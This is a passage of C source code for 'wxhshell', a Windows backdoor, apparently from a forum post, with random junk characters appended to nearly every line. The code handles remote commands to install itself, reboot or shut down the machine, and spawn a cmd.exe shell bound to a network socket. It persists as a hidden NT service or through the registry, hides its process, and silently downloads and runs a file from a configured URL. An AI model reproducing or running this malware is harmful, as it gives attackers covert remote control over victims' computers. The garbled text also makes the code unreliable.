  m#tpbFAsc  
  // 帮助 >lrhHU  
  case '?': { 8z Y)J#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .*BA 1sjE  
    break; #~L!pKM  
  } 5sCFzo<=vh  
  // 安装 ;HDZ+B  
  case 'i': { S}[l*7  
    if(Install()) "'m)VG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 P=[  
    else &VDl/qnaL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2d*_Qq1  
    break; Fh K&@@_  
    } 089 k.WG  
  // 卸载 -"=)z /S  
  case 'r': { ~W<CE_/]k  
    if(Uninstall()) +b^]Pz5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NUCiY\td  
    else )l&D]3$6K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hou*lCA  
    break; t8QRi!\=  
    } F|>05>8  
  // 显示 wxhshell 所在路径 |( G2K'Ab  
  case 'p': { B MM--y@  
    char svExeFile[MAX_PATH]; T-'~?[v  
    strcpy(svExeFile,"\n\r"); ow$q7uf  
      strcat(svExeFile,ExeFile); kY"KD22a  
        send(wsh,svExeFile,strlen(svExeFile),0); F$Hx`hoy  
    break; @Br {!#Wf  
    } u:@U $:sZ  
  // 重启 Y25^]ON*\^  
  case 'b': { ^T:gb]i'Qa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?]c+j1 i  
    if(Boot(REBOOT)) 8V9 [a*9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \q "N/$5{f  
    else { 7Y1GUIRa3  
    closesocket(wsh); r`j Wp\z  
    ExitThread(0); %Tv^GP{}  
    } gY(1,+0-  
    break; OR:[J5M)  
    } qz!Ph5 (  
  // 关机 ]dSK wxk  
  case 'd': { Bq@zaMv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iib  
    if(Boot(SHUTDOWN)) 5u r)uz]w8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UZGDdP  
    else { }g|nz8  
    closesocket(wsh); XM/vDdR  
    ExitThread(0); Tkw;pb  
    } LH2PTW\b!6  
    break; 5{K}?*3hJ  
    } *FK`&(B+}  
  // 获取shell }s_hD`'  
  case 's': { DVlJ*A  
    CmdShell(wsh); &fwS{n;U  
    closesocket(wsh); glE^t6)  
    ExitThread(0); -Fxmsi  
    break; =bLY /  
  } `S3>3  
  // 退出 Z o=]dBp.  
  case 'x': { Ql%qQ ZV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n_Onr0EvO  
    CloseIt(wsh); c0_E_~  
    break; V5mlJml2(  
    } e$e#NoN  
  // 离开 vi!YN|}\  
  case 'q': { ['q&@_d7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c3)C{9T](  
    closesocket(wsh); e)H!uR  
    WSACleanup(); } fZ`IOf  
    exit(1); h5"Ov,K3[  
    break; ibpzeuUl  
        } Pf <[|yu4?  
  } oH#v6{y  
  } Pm+tQ  
RO&H5m r%@  
  // 提示信息 ^ B/9{0n'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3QXjD/h  
} [q*%U4qGO  
  } JWv{=_2w  
6/Fzco#N  
  return; R"AUSO|{  
} 52d^K0STC  
C [uOReo  
// shell模块句柄 ka"337H  
int CmdShell(SOCKET sock) ~rD={&0  
{ 8X$LC  
STARTUPINFO si; k |YWOy@D~  
ZeroMemory(&si,sizeof(si)); nV*y`.+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O(z}H}Fv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cXnKCzSxZq  
PROCESS_INFORMATION ProcessInfo; -|S]oJy  
char cmdline[]="cmd"; G8Z4J7^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i3VW1~.8  
  return 0; S'LZk9E  
} *\uM.m0$  
K_/zuTy  
// 自身启动模式 EW<kI+0D  
int StartFromService(void) ObG|o1b  
{ (`BSVxJH  
typedef struct  Q=uRKh  
{ T?Fcohz(  
  DWORD ExitStatus; g(C|!}ex/  
  DWORD PebBaseAddress; |X19fgk  
  DWORD AffinityMask; k]A8% z  
  DWORD BasePriority; CO:u1?  
  ULONG UniqueProcessId; 23!;}zHp  
  ULONG InheritedFromUniqueProcessId; o|BP$P8V  
}   PROCESS_BASIC_INFORMATION; MJ`3ta  
kc `V4b%  
PROCNTQSIP NtQueryInformationProcess; uC3:7  
SOZPZUUEJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %dST6$Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *?ITns W<  
Sh6JF574T  
  HANDLE             hProcess; +pm[f["C.  
  PROCESS_BASIC_INFORMATION pbi; :}:3i9e*2  
mmXm\]r>4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V/d/L3p  
  if(NULL == hInst ) return 0; AK!hK>u`  
}n_p$g[Nj/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;Q;[*B=kE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l_tw<`Ep  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %V`F!D<D  
#H?t!DU  
  if (!NtQueryInformationProcess) return 0; wXMDh$  
$~0Q@):  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WE6a'  
  if(!hProcess) return 0; /iC;%r1L  
v1JS~uDz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7dG 79H  
*OJ/V O  
  CloseHandle(hProcess); wxg^Bq)D*R  
dy__e^qi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rl#vE's6.e  
if(hProcess==NULL) return 0; / $  :j  
"@A![iP  
HMODULE hMod; 0MMEo~dih  
char procName[255]; 'ly?P8h  
unsigned long cbNeeded; =L|tp%!  
[D-Q'"'A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "xmP6=1  
C?ib_K*  
  CloseHandle(hProcess); 1"7Sy3  
xkNyvqcw  
if(strstr(procName,"services")) return 1; // 以服务启动 Rlnbdb;!k  
1OLqL  
  return 0; // 注册表启动 5!YA o\S  
} %J:SO_6  
bzDIhnw  
// 主模块 8P7"&VYc8  
int StartWxhshell(LPSTR lpCmdLine) 2kAx>R  
{ S{4z?Ri, '  
  SOCKET wsl; ?\KM5^eX  
BOOL val=TRUE; 99$ 5`R;  
  int port=0; E!BPE>  
  struct sockaddr_in door; 7]xm2CHx5  
]M/9#mD9~  
  if(wscfg.ws_autoins) Install(); RIu~ @  
fkSO( C)  
port=atoi(lpCmdLine); 7cAXd#sI  
E:zF/$tG  
if(port<=0) port=wscfg.ws_port; p.}Ls)I  
]5~s "fnG  
  WSADATA data; Y2B &go  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _lzyMEdr  
LMi:%i%\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >Rvx[`|O!m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g4`Kp; }&'  
  door.sin_family = AF_INET; |(m oWY=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IK,|5]*Ar  
  door.sin_port = htons(port); D|Iur W1f  
%75xr9yOP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }i {sg#  
closesocket(wsl); <FMq>d$\  
return 1; [b{CkX06  
} aQ^umrj@?9  
)"f N!9,F  
  if(listen(wsl,2) == INVALID_SOCKET) { 4'$g(+z  
closesocket(wsl); C%*k.$#r!  
return 1; 0;S,tJg  
} /@AEJ][$  
  Wxhshell(wsl); {3})=>u:S  
  WSACleanup(); /bj <Ft\  
o"wXIHUmV  
return 0; M/x>51<  
^7;JC7qmN  
} P%)gO  
5@*'2rO&!  
// 以NT服务方式启动 <YA&Dr3OD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (~zd6C1.  
{ [."[pY  
DWORD   status = 0; G?f\>QSZ  
  DWORD   specificError = 0xfffffff; q$1PG+-  
+&zYZA8v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6v,z@!b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  ^p n(=4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tiN?/  
  serviceStatus.dwWin32ExitCode     = 0; b:qY gg  
  serviceStatus.dwServiceSpecificExitCode = 0; 2G$SpfeIu  
  serviceStatus.dwCheckPoint       = 0; V8eB$in  
  serviceStatus.dwWaitHint       = 0; S'oGt&Z<  
Z/rP"|EuQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1B),A~Ip  
  if (hServiceStatusHandle==0) return; tXJU vish  
y_xnai  
status = GetLastError(); aP'"G^F   
  if (status!=NO_ERROR) ARcv;H 5  
{ 8|E'>+ D_-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JS}{%(B  
    serviceStatus.dwCheckPoint       = 0; XLMb=T~S  
    serviceStatus.dwWaitHint       = 0; TO%dw^{_`  
    serviceStatus.dwWin32ExitCode     = status; ^(viM?*  
    serviceStatus.dwServiceSpecificExitCode = specificError; ==i[w|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XqM3<~$  
    return; cYXM__  
  } /1?R?N2>0  
@ HZKc\1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cRX~z  
  serviceStatus.dwCheckPoint       = 0; lL]y~u  
  serviceStatus.dwWaitHint       = 0; 4&/j|9=X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P0 `Mdk371  
} 5*[2yKsTi  
7ugZE93!  
// 处理NT服务事件,比如:启动、停止 O;7)Hjwt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f|u#2!7  
{ > iE!m  
switch(fdwControl) =] 3tUD  
{ bc , p }  
case SERVICE_CONTROL_STOP: UT}i0I9  
  serviceStatus.dwWin32ExitCode = 0; s1?[7yC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E( us'9c   
  serviceStatus.dwCheckPoint   = 0; vkLC-Mzm<  
  serviceStatus.dwWaitHint     = 0; mS k5u7  
  { yV)la@c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DcSnia62f  
  } ?5kHa_^  
  return; =2w4C_  
case SERVICE_CONTROL_PAUSE: pm{|?R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eAPXWWAZJ1  
  break; Y.^=]-n,  
case SERVICE_CONTROL_CONTINUE: dMR3)CO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lI>SUsQFfm  
  break; a<]B B$~  
case SERVICE_CONTROL_INTERROGATE: g/13~UM\  
  break; I(=V}s2  
}; QRLt9L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OT'[:|x ;  
} > x IJE2  
ja=F7Usb  
// 标准应用程序主函数 1~ $);US  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d#2$!z#  
{ ')GSAY7  
'l,V*5L  
// 获取操作系统版本 u^029sH6j  
OsIsNt=GetOsVer(); BB|?1"neg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); # p[',$cC  
ah~Y eJp  
  // 从命令行安装 ,^icPQSwc  
  if(strpbrk(lpCmdLine,"iI")) Install(); MQin"\  
 @3kKJ  
  // 下载执行文件 V`@>MOw^d  
if(wscfg.ws_downexe) { O{ /q-~_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  <T[E=#  
  WinExec(wscfg.ws_filenam,SW_HIDE); H4]Ul eU  
} NWxUn.Gy9  
FZ8b7nJ)4m  
if(!OsIsNt) { | >z3E z  
// 如果时win9x,隐藏进程并且设置为注册表启动 G9JAcO1  
HideProc(); (rg;IXAq%  
StartWxhshell(lpCmdLine); ,]b~t0|B  
} }jill+]  
else dK>7fy;mv  
  if(StartFromService()) %c[V  
  // 以服务方式启动 #pcP!  
  StartServiceCtrlDispatcher(DispatchTable); :T9< d er,  
else %u;~kP|S%  
  // 普通方式启动 z2Z^~, i  
  StartWxhshell(lpCmdLine); 7=(Hy\Q5xH  
U4G`ZK v(!  
return 0; Mfv1Os:ST  
}
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只看该作者 1 发表于: 2006-10-10
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